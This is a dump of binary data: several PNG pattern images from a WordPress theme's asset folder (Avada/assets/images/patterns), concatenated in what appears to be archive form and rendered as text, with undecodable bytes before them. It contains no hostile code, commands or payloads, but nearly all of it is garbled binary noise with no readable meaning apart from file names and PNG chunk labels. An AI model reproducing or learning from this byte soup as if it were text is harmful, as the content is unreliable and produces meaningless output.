&wmFZzu. ,A;$k\9Z9r}詡; 1{>0~9< #VuAb$UZ UdH5|D8dH܎c'j**j@ܝ^uźu}~4oNՕ*Nɖlw59c-OU~'{;`oSa櫪-걢rnDս)_zNfHժ\Gb5|#4^@5٘že~`+Y47O&"Y?x @N@~n뎟fںX+=Vc*76OKuMc1|&oӱW.$O _puJYִv2ԑ[G"=EcQ~J]+7Ě5V؃X7$t R9]?+VqP ۮTmVBv7#uKiStufFv(2IfQY-"j ^Gqڟz28S-cE%tIձ۵+~D-#nuM[}K¬__dk_vcF+$+NN7 dk>D%rwڍ1UN\܈R:fx_-{X־Ñ\SMQ4<|g-^Z>Ts>lpHjZvnT|9R{zuMYcᆴ͊X$5cM;t׷Q׾dX)vRT]v[?m\K??s >RܤFp^|檳Lֵ"Djݻ_}mOSijdZYYm+17|#Yrkڈ҈+Pfņ.Vv9%zs>'mNF Zh)ŤA/V} խVǻj]=jb$ VPG9^4]>cWGO_an̋<1"+*Kk ѡj}=F+g1Vh5E7M>Q?71Y{StJmVFI ޜz+\W.ks/-bU:qU[^T#ڨ{;X5,w+ꛝTӵtDN߱ >J3놕,ת9otsHsՉ,+)f.6FUmtޑUɢiW)ZFetΑ>_DnW,1AR6bXܺ ݧjUU$G$sSZ7&Nqv mWDjjWt,Įu/6s5-eMFڟ`Dr3A.ycnUk9\"m_bԗ.iւ9tHljhG1T <8۬۵aZ͓6wEfnIv;.AMcJtFUWDOaWtoIQ<ʰw9voEw柍I %RW]>VsQM4M{6%mInc|sV9EE؋AKڻrxKV u+51Hdr#b5ZFT ff./GHr1X<z}O:-^/W#4DvH]?@k9Lr]BI45ӹ"Y| w~[bX,.ݵOXVͯkkMݩR H"SĕܑXEEϲܘvdD_lvm1;B %Zضc1$eDm]苻j:/3\j5ji1_9Gؚbu:[LN䏘=T;A6'Ec|cM{#[r"?o'UMtjki޿+hcWVw%${Ejj/c[a$:+Ia'YՐV8dDGdsZM{[Rd+T%ec+\wr"&t_;Dʝj.תj)HP9N\[=pȒ)=ɽwhs]~-5~6UѲ9$ڱ!;ٹ*nkYqn8b"dFǵ#6+[r*=5`ܿQɐf68*2aKvȱ'Ȭ6蚹 wq2 ܽ;V||٩h{޳7&+SMƯfٙP1h?qs 2H=djhχdӨleRIzhbehdrs\4j.mP;f2Ha߶)͏v6vUI tzzYsؼA({][ _,[=-K^Z-b*#_4J$rb?HK3}*7eM_'UZ|w:Sl3kMꥸ$%y&v*'׵wkr{]MX?;}xmӥDXc|s{j?9*fmZr_N$]h""#׹"Sp JOrp t:ƫ],*D^QYy.Rۉb3dq#{ <9%>q>lWaR7ĉΒEUS;ӻE*A F*1r;?./)ݒ9[^FӹFLAc{k6DQ:Dv{\sv7k7j^Oڨ~H*,4-KAXtlV~k"vS3,FWg>GwUnL$C:9dtZ1N(Lt$LzIN5$WrGk&KS%[魣k$|zvjoi4-c)ڨڶ#bX{s? MwͮDUx:ltϴ]g{{٢sWnѯJQ>jE,ƍEDc_hŅ5oӚs+NdSVښ*~*+X|m+W|5$ZQ/0ڲΌln[#ZD{h.ꎍuVmb/ziEM;4_ggp3صav4Xb&5ӳ]53f6(}:^Fj*"ɵW]9("k$m-w#<ѺviqtD7׍,NՎ̚V9+{? Lg̩.ZΗ]w+ݨзٰ,ȍK$I*54D׿Akjh֢"'؄+?3 7km2Iw͕!~vjL{d7+4MD{vυrwѢCȟ!cZY^/)*Sjh51[sij=tOVhk왵ϟǜl9mX:I^myRMV}qfq*&u?ObF߅Vun]t|;{;I,<7ij6Yr$JW٩or\j-4Wu&eNfuim,(]5 'Ve˕,\K+.'n&r٢/Ul@}7#-ϹSijWj{;}hzxx2E-L"9۟s@Ԙ"Խ ܘ#."ds|b`zGZIۑ5DފclO]4@3oZnV#w1rǯމ۷]~޵LRL^?' o jm^@ߦQ]ܚb?1:%*u1I~\7=tM[E5{y̅lm8.%gk~#hm0:bYs|**ʉUw&3zO)ֵ~,Ajc{Ux܌;# Q>D^17T@1mKRn H&\E^hX^`2̤P؜WI#\b5qZd1Ӷ9V)]WS@6|v> v+kڍUS+jW5GQ]1R^vdae#m|]B }јyO3VF+|*nc] 1iyLvV5dG.Ʈr/stUopbz룲積Uf]$"v1kW@$uK秖 >F+|U~]Ȫj;YASz{![8F'su;~9|]^72yOM M.r^֫cֻ]ST@1myڏeY̶?goƺv/ĝaލr\vbFs8QVUO~$LOZc!&;rlUggc5V@9]=)ɒ}xd{|dIG)6}y(,$cd+;$IۢkiZب6iV-,k9ȊFbV͎~R9hwٯQNZ֫ڨwvU_4229v?^uYg/5jf5_{j.a$'K5DzݟՏM _ܦrqjXO\eϋ׏jLѳ5mvJ{AW"V]Mw&K8>se=^v&{hV*;]wx\sO_s<޿bտcU&ƨ9oz 垽7zugW;Q Уr 0օ_#sZ\8kӠ> rcZkIZR2WbˢTMaFU^;y-,WOJ %(²+B1^@e)m<,nnIV("+MٮW"!VCԹ>j.V]9!I'Ÿ"pV}|v{s%A#J-Sܱcɕˮ5T@tVzQA~N*&9u#Dz{tU_gb]tf+P gJie7֖{EIr\.OH 'j j'ڨ:7mX]C&IrrXK,bY~iOTy*5[4X6H]a*5C+ImNg$t5йb9WDU FӊTZ]=wztV"Vf15j5߇P*\ezqt:{4ߎlZ+ղ9hw"m"xͩG9h@qܭE׷*H/k)Vy벛 [+$t˵>-iFˬ%4)W'݇o֜.Hʧr#"݊EnWwW2 s+}=KY՚7BEG+ʺ"hV&n^T}9{vtV"Wf11j5߇^ `:!/KTN[iY md~-\j'g |RsSJ }#F2;;[f?SrE5OiNf2adR}Dѳ$JWV9XH5qF_vs9wq]qbĬIRfTMڭ|nVEW3n1%u #c9NMQ_<ʉ+U~O:-䢯eU[ʲIa'5wH{~pG>Łfg1u dXtYI-_UXj'&u5 ءoKqA]-ݚ( TUFMWWwwoCd,Tt ' XBa E |t M9^a`_-g+@%^L̔.֫̏sNc9&7~Qaz+mne[vXR;tUݫղvSV4ŋ-slVJNkv; ]WzlEߧ^X2G{Rtlzv l^^L>gQMPӪ6جHֺ-5t.Ydp8H-#GfbTF5 ʟ v3s̜wwt:EEfg4Mb/.I$nUT!UL>v^Wa%̰*.'EdRuIY"[O01i2qRYz寏yT%z;v֤@t~ aڴkGHNc?U ++]=;Qլg߅jZRij("osXF"  ߑvE~V+6V=v+ݷP/Avada/assets/images/patterns/pattern1.png000064400000007235152342437710014452 0ustar00PNG  IHDRc pHYs   OiCCPPhotoshop ICC profilexڝSgTS=BKKoR RB&*! J!QEEȠQ, !{kּ> H3Q5 B.@ $pd!s#~<<+"x M0B\t8K@zB@F&S`cbP-`'{[! eDh;VEX0fK9-0IWfH  0Q){`##xFW<+*x<$9E[-qWW.(I+6aa@.y24x6_-"bbϫp@t~,/;m%h^ uf@Wp~<5j>{-]cK'Xto(hw?G%fIq^D$.Tʳ?D*A, `6B$BB dr`)B(Ͱ*`/@4Qhp.U=pa( Aa!ڈbX#!H$ ɈQ"K5H1RT UH=r9\F;2G1Q= C7F dt1r=6Ыhڏ>C03l0.B8, c˱" VcϱwE 6wB aAHXLXNH $4 7 Q'"K&b21XH,#/{C7$C2'ITFnR#,4H#dk9, +ȅ3![ b@qS(RjJ4e2AURݨT5ZBRQ4u9̓IKhhitݕNWGw Ljg(gwLӋT071oUX**| J&*/Tު UUT^S}FU3S ԖUPSSg;goT?~YYLOCQ_ cx,!k u5&|v*=9C3J3WRf?qtN (~))4L1e\kXHQG6EYAJ'\'GgSSݧ M=:.kDwn^Loy}/TmG X $ <5qo</QC]@Caaᄑ.ȽJtq]zۯ6iܟ4)Y3sCQ? 0k߬~OCOg#/c/Wװwa>>r><72Y_7ȷOo_C#dz%gA[z|!?:eAAA!h쐭!ΑiP~aa~ 'W?pX15wCsDDDޛg1O9-J5*>.j<74?.fYXXIlK9.*6nl {/]py.,:@LN8A*%w% yg"/6шC\*NH*Mz쑼5y$3,幄'L Lݛ:v m2=:1qB!Mggfvˬen/kY- BTZ(*geWf͉9+̳ې7ᒶKW-X潬j9(xoʿܔĹdff-[n ڴ VE/(ۻCɾUUMfeI?m]Nmq#׹=TR+Gw- 6 U#pDy  :v{vg/jBFS[b[O>zG499?rCd&ˮ/~јѡ򗓿m|x31^VwwO| (hSЧc3- cHRMz%u0`:o_FIDATxڌU[o:/rF.b=fgvfL1r<J)ZU1_Z}"rmVJnYr9Z/4Mue,sZm۾rr3T5HDcL1}q*3bY)c&3ZUZ{PTk2(@-˲L)%PB9k` 0i^`cLkMDTlu);3&s.WcvaBkZ C`1 hhTuu]hglzJ)R{RJ)1s9̨Z1fTt@BPUAAk Z+nWK)c˲}k1ED]a]}߇aiRUj!#zR ,lZh40m({O9Iap{\]uD^Ԉ-RJQDj9g"Zk3\pE$f{^1".֊5!9g8ohh"HSa;0~x ks'",<Ϫ+,"8.qȕ뺮CGAz@]m۬Z+x{3@1p1l} w{0 <3|^UD>??e!:su0XJa8pЏ>-h{mʇ !3:8(b82sC&! jcJ: Cιv^Ed6ƐqJIDPJJ0#pa[ Ŏ x|kq :r1B8F}ߏ㨪ڜtZcPp(>+R:(sYhաDgjD3p[IENDB`Avada/assets/images/patterns/pattern5.png000064400000005531152342437710014453 0ustar00PNG  IHDRl} pHYs   OiCCPPhotoshop ICC profilexڝSgTS=BKKoR RB&*! J!QEEȠQ, !{kּ> H3Q5 B.@ $pd!s#~<<+"x M0B\t8K@zB@F&S`cbP-`'{[! eDh;VEX0fK9-0IWfH  0Q){`##xFW<+*x<$9E[-qWW.(I+6aa@.y24x6_-"bbϫp@t~,/;m%h^ uf@Wp~<5j>{-]cK'Xto(hw?G%fIq^D$.Tʳ?D*A, `6B$BB dr`)B(Ͱ*`/@4Qhp.U=pa( Aa!ڈbX#!H$ ɈQ"K5H1RT UH=r9\F;2G1Q= C7F dt1r=6Ыhڏ>C03l0.B8, c˱" VcϱwE 6wB aAHXLXNH $4 7 Q'"K&b21XH,#/{C7$C2'ITFnR#,4H#dk9, +ȅ3![ b@qS(RjJ4e2AURݨT5ZBRQ4u9̓IKhhitݕNWGw Ljg(gwLӋT071oUX**| J&*/Tު UUT^S}FU3S ԖUPSSg;goT?~YYLOCQ_ cx,!k u5&|v*=9C3J3WRf?qtN (~))4L1e\kXHQG6EYAJ'\'GgSSݧ M=:.kDwn^Loy}/TmG X $ <5qo</QC]@Caaᄑ.ȽJtq]zۯ6iܟ4)Y3sCQ? 0k߬~OCOg#/c/Wװwa>>r><72Y_7ȷOo_C#dz%gA[z|!?:eAAA!h쐭!ΑiP~aa~ 'W?pX15wCsDDDޛg1O9-J5*>.j<74?.fYXXIlK9.*6nl {/]py.,:@LN8A*%w% yg"/6шC\*NH*Mz쑼5y$3,幄'L Lݛ:v m2=:1qB!Mggfvˬen/kY- BTZ(*geWf͉9+̳ې7ᒶKW-X潬j9(xoʿܔĹdff-[n ڴ VE/(ۻCɾUUMfeI?m]Nmq#׹=TR+Gw- 6 U#pDy  :v{vg/jBFS[b[O>zG499?rCd&ˮ/~јѡ򗓿m|x31^VwwO| (hSЧc3- cHRMz%u0`:o_FIDATx D%L`=ف9%e/R>HQph$HF=řEL.j<\;D8!< 38KRT.KRT.k}n ڊ_ IENDB`Avada/assets/images/patterns/pattern4@2x.png000064400000005522152342437710015024 0ustar00PNG  IHDR;0 pHYs   OiCCPPhotoshop ICC profilexڝSgTS=BKKoR RB&*! J!QEEȠQ, !{kּ> H3Q5 B.@ $pd!s#~<<+"x M0B\t8K@zB@F&S`cbP-`'{[! eDh;VEX0fK9-0IWfH  0Q){`##xFW<+*x<$9E[-qWW.(I+6aa@.y24x6_-"bbϫp@t~,/;m%h^ uf@Wp~<5j>{-]cK'Xto(hw?G%fIq^D$.Tʳ?D*A, `6B$BB dr`)B(Ͱ*`/@4Qhp.U=pa( Aa!ڈbX#!H$ ɈQ"K5H1RT UH=r9\F;2G1Q= C7F dt1r=6Ыhڏ>C03l0.B8, c˱" VcϱwE 6wB aAHXLXNH $4 7 Q'"K&b21XH,#/{C7$C2'ITFnR#,4H#dk9, +ȅ3![ b@qS(RjJ4e2AURݨT5ZBRQ4u9̓IKhhitݕNWGw Ljg(gwLӋT071oUX**| J&*/Tު UUT^S}FU3S ԖUPSSg;goT?~YYLOCQ_ cx,!k u5&|v*=9C3J3WRf?qtN (~))4L1e\kXHQG6EYAJ'\'GgSSݧ M=:.kDwn^Loy}/TmG X $ <5qo</QC]@Caaᄑ.ȽJtq]zۯ6iܟ4)Y3sCQ? 0k߬~OCOg#/c/Wװwa>>r><72Y_7ȷOo_C#dz%gA[z|!?:eAAA!h쐭!ΑiP~aa~ 'W?pX15wCsDDDޛg1O9-J5*>.j<74?.fYXXIlK9.*6nl {/]py.,:@LN8A*%w% yg"/6шC\*NH*Mz쑼5y$3,幄'L Lݛ:v m2=:1qB!Mggfvˬen/kY- BTZ(*geWf͉9+̳ې7ᒶKW-X潬j9(xoʿܔĹdff-[n ڴ VE/(ۻCɾUUMfeI?m]Nmq#׹=TR+Gw- 6 U#pDy  :v{vg/jBFS[b[O>zG499?rCd&ˮ/~јѡ򗓿m|x31^VwwO| (hSЧc3- cHRMz%u0`:o_F}IDATx10 CQS7$]{0PNș_ H3Q5 B.@ $pd!s#~<<+"x M0B\t8K@zB@F&S`cbP-`'{[! eDh;VEX0fK9-0IWfH  0Q){`##xFW<+*x<$9E[-qWW.(I+6aa@.y24x6_-"bbϫp@t~,/;m%h^ uf@Wp~<5j>{-]cK'Xto(hw?G%fIq^D$.Tʳ?D*A, `6B$BB dr`)B(Ͱ*`/@4Qhp.U=pa( Aa!ڈbX#!H$ ɈQ"K5H1RT UH=r9\F;2G1Q= C7F dt1r=6Ыhڏ>C03l0.B8, c˱" VcϱwE 6wB aAHXLXNH $4 7 Q'"K&b21XH,#/{C7$C2'ITFnR#,4H#dk9, +ȅ3![ b@qS(RjJ4e2AURݨT5ZBRQ4u9̓IKhhitݕNWGw Ljg(gwLӋT071oUX**| J&*/Tު UUT^S}FU3S ԖUPSSg;goT?~YYLOCQ_ cx,!k u5&|v*=9C3J3WRf?qtN (~))4L1e\kXHQG6EYAJ'\'GgSSݧ M=:.kDwn^Loy}/TmG X $ <5qo</QC]@Caaᄑ.ȽJtq]zۯ6iܟ4)Y3sCQ? 0k߬~OCOg#/c/Wװwa>>r><72Y_7ȷOo_C#dz%gA[z|!?:eAAA!h쐭!ΑiP~aa~ 'W?pX15wCsDDDޛg1O9-J5*>.j<74?.fYXXIlK9.*6nl {/]py.,:@LN8A*%w% yg"/6шC\*NH*Mz쑼5y$3,幄'L Lݛ:v m2=:1qB!Mggfvˬen/kY- BTZ(*geWf͉9+̳ې7ᒶKW-X潬j9(xoʿܔĹdff-[n ڴ VE/(ۻCɾUUMfeI?m]Nmq#׹=TR+Gw- 6 U#pDy  :v{vg/jBFS[b[O>zG499?rCd&ˮ/~јѡ򗓿m|x31^VwwO| (hSЧc3- cHRMz%u0`:o_FIDATx1 Es!ΘmAR?SyMCGE!y0;4B`Gb}yZ%;03sHo$=_4 u! IHh|>.#D4ٻABHm[RJH"LIf3C7x߷)]3޿c.xRݝ牙m۟7::Ϋ:Ϋ:ΫaB~IENDB`Avada/assets/images/patterns/pattern9.png000064400000007765152342437710014472 0ustar00PNG  IHDR$$nb pHYs   OiCCPPhotoshop ICC profilexڝSgTS=BKKoR RB&*! J!QEEȠQ, !{kּ> H3Q5 B.@ $pd!s#~<<+"x M0B\t8K@zB@F&S`cbP-`'{[! eDh;VEX0fK9-0IWfH  0Q){`##xFW<+*x<$9E[-qWW.(I+6aa@.y24x6_-"bbϫp@t~,/;m%h^ uf@Wp~<5j>{-]cK'Xto(hw?G%fIq^D$.Tʳ?D*A, `6B$BB dr`)B(Ͱ*`/@4Qhp.U=pa( Aa!ڈbX#!H$ ɈQ"K5H1RT UH=r9\F;2G1Q= C7F dt1r=6Ыhڏ>C03l0.B8, c˱" VcϱwE 6wB aAHXLXNH $4 7 Q'"K&b21XH,#/{C7$C2'ITFnR#,4H#dk9, +ȅ3![ b@qS(RjJ4e2AURݨT5ZBRQ4u9̓IKhhitݕNWGw Ljg(gwLӋT071oUX**| J&*/Tު UUT^S}FU3S ԖUPSSg;goT?~YYLOCQ_ cx,!k u5&|v*=9C3J3WRf?qtN (~))4L1e\kXHQG6EYAJ'\'GgSSݧ M=:.kDwn^Loy}/TmG X $ <5qo</QC]@Caaᄑ.ȽJtq]zۯ6iܟ4)Y3sCQ? 0k߬~OCOg#/c/Wװwa>>r><72Y_7ȷOo_C#dz%gA[z|!?:eAAA!h쐭!ΑiP~aa~ 'W?pX15wCsDDDޛg1O9-J5*>.j<74?.fYXXIlK9.*6nl {/]py.,:@LN8A*%w% yg"/6шC\*NH*Mz쑼5y$3,幄'L Lݛ:v m2=:1qB!Mggfvˬen/kY- BTZ(*geWf͉9+̳ې7ᒶKW-X潬j9(xoʿܔĹdff-[n ڴ VE/(ۻCɾUUMfeI?m]Nmq#׹=TR+Gw- 6 U#pDy  :v{vg/jBFS[b[O>zG499?rCd&ˮ/~јѡ򗓿m|x31^VwwO| (hSЧc3- cHRMz%u0`:o_F IDATxdWIrIYmhbbGJ33af&" `<ݽTnP#mhХ8EB㧻NhUWS{lxTZ'A}4VUUhՍv Hz5ӭ-AC6wWյ}ߙ m@ B O)IUpFfNWR9ol1A!˵C{0 o!'q(lX> pWGT5@}=F+̞LO4nSe&9;9gx 9eg0H %lhL?LDL5PL2S&#mV_n:T["2-|ѡ#Z 1E&d*3Tg"҇V 0~h}6J`|J.aQȩl0᭙թ(&RxbQ}Xxve(cqX?ҫ>c6s|M#QBFaL%ދ3sXw;g[.IENDB`Avada/assets/images/patterns/pattern8.png000064400000005533152342437710014460 0ustar00PNG  IHDR" = pHYs   OiCCPPhotoshop ICC profilexڝSgTS=BKKoR RB&*! J!QEEȠQ, !{kּ> H3Q5 B.@ $pd!s#~<<+"x M0B\t8K@zB@F&S`cbP-`'{[! eDh;VEX0fK9-0IWfH  0Q){`##xFW<+*x<$9E[-qWW.(I+6aa@.y24x6_-"bbϫp@t~,/;m%h^ uf@Wp~<5j>{-]cK'Xto(hw?G%fIq^D$.Tʳ?D*A, `6B$BB dr`)B(Ͱ*`/@4Qhp.U=pa( Aa!ڈbX#!H$ ɈQ"K5H1RT UH=r9\F;2G1Q= C7F dt1r=6Ыhڏ>C03l0.B8, c˱" VcϱwE 6wB aAHXLXNH $4 7 Q'"K&b21XH,#/{C7$C2'ITFnR#,4H#dk9, +ȅ3![ b@qS(RjJ4e2AURݨT5ZBRQ4u9̓IKhhitݕNWGw Ljg(gwLӋT071oUX**| J&*/Tު UUT^S}FU3S ԖUPSSg;goT?~YYLOCQ_ cx,!k u5&|v*=9C3J3WRf?qtN (~))4L1e\kXHQG6EYAJ'\'GgSSݧ M=:.kDwn^Loy}/TmG X $ <5qo</QC]@Caaᄑ.ȽJtq]zۯ6iܟ4)Y3sCQ? 0k߬~OCOg#/c/Wװwa>>r><72Y_7ȷOo_C#dz%gA[z|!?:eAAA!h쐭!ΑiP~aa~ 'W?pX15wCsDDDޛg1O9-J5*>.j<74?.fYXXIlK9.*6nl {/]py.,:@LN8A*%w% yg"/6шC\*NH*Mz쑼5y$3,幄'L Lݛ:v m2=:1qB!Mggfvˬen/kY- BTZ(*geWf͉9+̳ې7ᒶKW-X潬j9(xoʿܔĹdff-[n ڴ VE/(ۻCɾUUMfeI?m]Nmq#׹=TR+Gw- 6 U#pDy  :v{vg/jBFS[b[O>zG499?rCd&ˮ/~јѡ򗓿m|x31^VwwO| (hSЧc3- cHRMz%u0`:o_FIDATxUA 0 JߐC`:]YF0ǁsZ%!޻R^$pP,lXy33]"7ٛY3rۏ3h7o7 i$վsQTTELIENDB`Avada/assets/images/patterns/pattern13.png000064400000005465152342437710014540 0ustar00PNG  IHDRH=9~PLTEPG rIDATx%Em!8s8!+ՕvSA .ck% /~2 2phuKeS̝jj&S')OM1xz, 媩X`0Ut)+SuÚ!XcPzv 2$S!Saz .V$Mj Y+jA0*BTC 4@nq//t>(f^tKk|a#] )"M‹ELZ2#ܶXKA -dͣV u \4oN0? ` $#f~5gP${U٫ռ'h']%V2p:xV0T ;*A_gU>^P'\NE=H/ZKv˭IZs6xAtd_[ jZҖp~oV?EOY+4e%X&_μ|e9 dvwYO76*s | ->{(0{R2WSt#c[Aѯ2 D=&Qd4*>;TկAMEE @,葬 ФOQy[R4VTK>of4EfJp@jab,X_B˶[S'bVJoJo)+ԲeǷo!Z{?eޫc֓> 5h}YoS9mU7+nl;?st/^~Zwvj.^?3oBTߚn.|b<ۋfSS>̝tAAD D}l!)HcNAMٞA"1ңlby Is=KY@+IPH,CvpQ2OK3tp ZWp Ze!+XE:OjaۮZ?Rnt?nx_+1Yxe,oc=\[mwk`_ַ;To{Xo+~'CS[*ֵ*7$2?;VIBrᛴ'i# T,i#ܠ.Z6}FSnQ9RҨrl&IcN񱎘(ۑ44#wYivgX"`o >72I:}8/ke/\beyN yJpaOsQ}qh jںs5뵴DX%V֮q.{O%Oeu &w80wX [ُ;ݽΥpM?iG!15.Y9|chV0jsX"YDYa"c.SEWE7Vvmh SYea^N).0p!}PIw:Գ@Z1+ eJ 3Atw629 [y Y$A!M0oڷIcޥǖ|)%%߯4G`;@:k\\So)& Q:ٴGB.ՐPV_a]߯d^zXKU)jas}B+pIG ^U !js:[7{~Fcb \5źv]5e"TţtUvWY:X>JyH7*ぢ!+uպC]IB="qt!ej N*jNslsTƵ?X7(y-D+}.?Wp*_l5&0JlYYUD|^XV#k - ii`X*j8àLʖ~¬<#q TkP%%͑qIsBƄT{Sp8Ge n .`ϤOM ilNQ:Oy~l oE]$ 8DB,1PMbPgf0r2P7Vg8.ıKҖ]l z_*8b B*Aܜ% bܡ/l=GǛvX ~+2HǑ>0t k:HN՗{)ږAwa'4n47Q5Cѹ@B#T6@TY@L"ZvɜrOϔx#WEO<9kUtX8).5uT 4\ P e fU*XE^P1FnwG]&n7_PFjǟZ֦|}K-kɬ|q/fYN7o,T,IDjFE\?BhyYh:Sܲ6՜6eb| g?~mG<>Ow}DIw^${TΫru 򹯯pob` I?K$!M$AJIxVQJ}D:Q2AH*DMD1bk,f&,{{y,gXIENDB`Avada/assets/images/patterns/pattern1@2x.png000064400000007235152342437710015024 0ustar00PNG  IHDRc pHYs   OiCCPPhotoshop ICC profilexڝSgTS=BKKoR RB&*! J!QEEȠQ, !{kּ> H3Q5 B.@ $pd!s#~<<+"x M0B\t8K@zB@F&S`cbP-`'{[! eDh;VEX0fK9-0IWfH  0Q){`##xFW<+*x<$9E[-qWW.(I+6aa@.y24x6_-"bbϫp@t~,/;m%h^ uf@Wp~<5j>{-]cK'Xto(hw?G%fIq^D$.Tʳ?D*A, `6B$BB dr`)B(Ͱ*`/@4Qhp.U=pa( Aa!ڈbX#!H$ ɈQ"K5H1RT UH=r9\F;2G1Q= C7F dt1r=6Ыhڏ>C03l0.B8, c˱" VcϱwE 6wB aAHXLXNH $4 7 Q'"K&b21XH,#/{C7$C2'ITFnR#,4H#dk9, +ȅ3![ b@qS(RjJ4e2AURݨT5ZBRQ4u9̓IKhhitݕNWGw Ljg(gwLӋT071oUX**| J&*/Tު UUT^S}FU3S ԖUPSSg;goT?~YYLOCQ_ cx,!k u5&|v*=9C3J3WRf?qtN (~))4L1e\kXHQG6EYAJ'\'GgSSݧ M=:.kDwn^Loy}/TmG X $ <5qo</QC]@Caaᄑ.ȽJtq]zۯ6iܟ4)Y3sCQ? 0k߬~OCOg#/c/Wװwa>>r><72Y_7ȷOo_C#dz%gA[z|!?:eAAA!h쐭!ΑiP~aa~ 'W?pX15wCsDDDޛg1O9-J5*>.j<74?.fYXXIlK9.*6nl {/]py.,:@LN8A*%w% yg"/6шC\*NH*Mz쑼5y$3,幄'L Lݛ:v m2=:1qB!Mggfvˬen/kY- BTZ(*geWf͉9+̳ې7ᒶKW-X潬j9(xoʿܔĹdff-[n ڴ VE/(ۻCɾUUMfeI?m]Nmq#׹=TR+Gw- 6 U#pDy  :v{vg/jBFS[b[O>zG499?rCd&ˮ/~јѡ򗓿m|x31^VwwO| (hSЧc3- cHRMz%u0`:o_FIDATxڌU[o:/rF.b=fgvfL1r<J)ZU1_Z}"rmVJnYr9Z/4Mue,sZm۾rr3T5HDcL1}q*3bY)c&3ZUZ{PTk2(@-˲L)%PB9k` 0i^`cLkMDTlu);3&s.WcvaBkZ C`1 hhTuu]hglzJ)R{RJ)1s9̨Z1fTt@BPUAAk Z+nWK)c˲}k1ED]a]}߇aiRUj!#zR ,lZh40m({O9Iap{\]uD^Ԉ-RJQDj9g"Zk3\pE$f{^1".֊5!9g8ohh"HSa;0~x ks'",<Ϫ+,"8.qȕ뺮CGAz@]m۬Z+x{3@1p1l} w{0 <3|^UD>??e!:su0XJa8pЏ>-h{mʇ !3:8(b82sC&! jcJ: Cιv^Ed6ƐqJIDPJJ0#pa[ Ŏ x|kq :r1B8F}ߏ㨪ڜtZcPp(>+R:(sYhաDgjD3p[IENDB`Avada/assets/images/patterns/pattern16.png000064400000003335152342437710014535 0ustar00PNG  IHDR.tEXtSoftwareAdobe ImageReadyqe< iTXtXML:com.adobe.xmp OSIDATx|˖0 D %5CMnP;9qK.J;vZ=ݏqt]faz8Ɓ;A /-L<^0a^`L"#Fal۱D8,y0c{;N 8 1ݎ÷0 b?4ˤaz'2'<) >%Od8b s)opHA7V@k+P _. u7꒬KA3 pLli j2)WiYEz&B"?3ţ~.CdV[ *x  #ϣjR+E`-XA3r–^`TTӾEzꢐ%c SIsnjp`5¥hًJh~EVcaT׫ΆCfvac pӔAp|)/f*qq(#H~*^! l}8GܦcU1GՐkZs}ĀQNdGxH24MbH-⨟F,NüKXJ?y;Cz!?24)Z٢TuGSaOLd l6*'\[@ݷ^ h5<-(opmqWJ4HlJ݀CL݈VMU{}l3@+ CMfzߩ&Ȝ8y^r\q4'pM7sMx4O`i+HWIENDB`Avada/assets/images/patterns/pattern14.png000064400000005053152342437710014532 0ustar00PNG  IHDRFFFBPLTEߏ IDATx]bD7AR_Ikge&krW+%7u4|y{VJוx;Xi.)1:{qɵY{nؓeeSJ+y5J74,OD/}凕ORft^cϴxlbm="ڭdۖ>RZKnعx$֧1R(fnޭã^Ye^k5keGH㜼S =%Hs̀wc/wGMp^Etƽ{ׄ#%CZ_u{7HЄd| cX9[G2R}u 4H]>wL9chl@[XmOFf;5Řw$ &xCA*5wY<#P\^{BTF¤Zpm02Xx*rZg"hlu R F`ʱGA__=cYe!p; # e }.DBLIO57:$y[1PGB0V` <224HRtŒUaxEVt0ڻek6GlN'e +5FI$]-i\"L@%WӀk,'KId#qB=!0@!O.7l6Ug2UG(b`)}Ca'Jo|^K%Oc~t,! MGRm\^(2:uiq[*9ADPA9!sQHc~*Lp9fr$Oojg݂`>nV"qF"Ɛ!@K=?h׀@T{%l(:6G[VV|'E|XVh-AYQ@yFy(% hOˬL}K]JR{gm~Lzꄩ 0r;] iE7 DEE&} 2jxA&"&ַu-ƙӎi*ޏcG%u2D\A1[- Gq{4SF+0(YJup"7V.Pl  v@DzrXW}d^ p#;LH:ujs]MCvP5;8,SZ=׃+l<" W|ߧ[/9Q#&* $9HB4>jطٓyԫ<6KC2BaNNUN;Gv@JKlgzO_V:74z&tQNIW ʢ\K(ziXYd((Yᴢ_PHl}tIi`7N(̯*i2aJ4ppa\Xh2n|ALn &lm|W#4XbBaI|D% 1bh2Ext ΔJDz 5!q/AOPWض܄M+;fkyb䅭5Ҳ_ CQ%8T/=jHz *{O]$5HaW>F9o8E÷ ~ Jٺl1 03s/iZ!G?$>A,v2ufZ?ͤ-y̵ߛ[%J/xְjǼi>J=831"|m=4i]OA(ha̬ZcC%c(|7{T;83u_KKLjrrIyi>4SsubH60xX*j: G9 %b?4PHTflqkE&;~{iB]- {4T*vv"wJ!$\ #0^iaM:{E)vP1Qa'`œT䉮bA7,K@O `J?/^בnѩ%Ax< }ĩP\H(+}Jj~%sL$ל7!EgJq3v=8D0Bv * _ݫ3J(è#W! k׎q 6XWۂ 4McahnuIZТ>3ؐ_@6X–Semr$ʽڴxRMգa/2 uԧH(wEvſW4x "&v#z?Zп2׸sUlbl\oOb1bolȯce L6XMMu'L&wPt~.7Vhצ)kCf<8p m1RRJRM8k泡1uhmdw}T} ˙$\fbG| )r)m9s ߐrlj6 J޻ok9q?Z3(R5$?PZ3:66̓+h[an"ًO;DՌm.@yؗ8uSB3?ν28ed. C)4ܗ_䘫fc$?Uk'}{Ҁ|:+1%1]+6Ѹ';cʱp)N?(4p>Jm:NzнL~{[7jИ蕦W̖q=aǫ"4Fmk XG6oRE ̈́ \J] {C7!;یq~ud">[u ڶԘ>5KǸpY7(.uW1oKpݱ2R뎩u $!6{\S9.Ěx7ZIOx_ϿC ;; $oLNk)Zѹ&(sSv䢫VOU̐@9q:oQxQb]|!"ϞA2 ޻ab8?ps%R<R}鬀 `8b%ϣ~̱w2eC}ĶڜLîkhf;4:50<3϶lbTm5~fʓ;D}ز wqO^L )&]T.1@QP' "J )ۉ[>&','>YGtڣ&(olDBmW͖U|L9TM(U w5$*M~^q]z\8?5EvBnxF0 ]̕Wk,"cz'C 2:%Մ)-X4߁sx:j5(( =}H&$UlE98M6U{0m:Apywq 9月h9~?r.*f{T,Ahܾo}YWM;r6OT ّ/`5*u4P"W@ gȱӒ {tρ*Ӯ?5*>"GXҵ'K^l_0uwkէfDMQ&\2R3:7jirJ|}QlSVXٝefCS0Hb?sxA:*l*oiM~>VqKf]-ER1mm Fxz$T8xs>?0ـ#ӣߜͬ8CV&b_aGt3FeG/(ǥJL[ԍ|ʯ@_po+8*Y,bsKZw'Ψ^;3WfEׁKUewkUz,t!]+ 